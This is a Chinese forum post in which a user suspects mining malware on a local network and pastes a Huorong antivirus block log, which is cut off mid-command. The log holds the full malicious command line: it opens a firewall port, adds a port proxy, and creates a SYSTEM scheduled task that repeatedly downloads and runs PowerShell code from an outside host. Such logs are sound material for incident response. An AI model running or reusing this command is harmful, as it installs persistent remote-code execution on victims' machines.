疑似挖矿病毒，样本未捕获到，局域网内如何解决？

sunjushi

火绒，触犯执行防护规则，已阻止。

1. 操作者：C:\Windows\system32\services.exe
   
2. 命令行：C:\Windows\system32\services.exe
   
3. 风险动作：利用Schtasks创建可疑计划任务
   
4. 执行文件：C:\Windows\system32\cmd.exe
   
5. 执行命令行：C:\Windows\system32\cmd.exe /C "netsh.exe firewall add portopening tcp 65529 SDNS&netsh interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1 connectport=53&schtasks /create /ru system /sc MINUTE /mo 10 /tn Rtsa /tr "powershell -nop -ep bypass -c 'IEX(New-Object System.Net.WebClient).DownloadString(\\"http://t.zer2.com/ipc.jsp?h\\")'" /F & echo %C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Intel\WiFi\bin\;C:\Program Files\Common Files\Intel\WirelessCommon\;C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static;C:\Program Files (x86)\AMD\ATI.ACE\Core-Static;C:\Python\Python36;C:\Python\Python36\Scripts;C:\Program Files (x86)\Java\jre1.8.0_77\bin%|findstr /i powershell>nul || (setx path "C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files\Intel\WiFi\bin\;C:\Program Files\Common Fil
   
6. 用户操作：已阻止
   

复制代码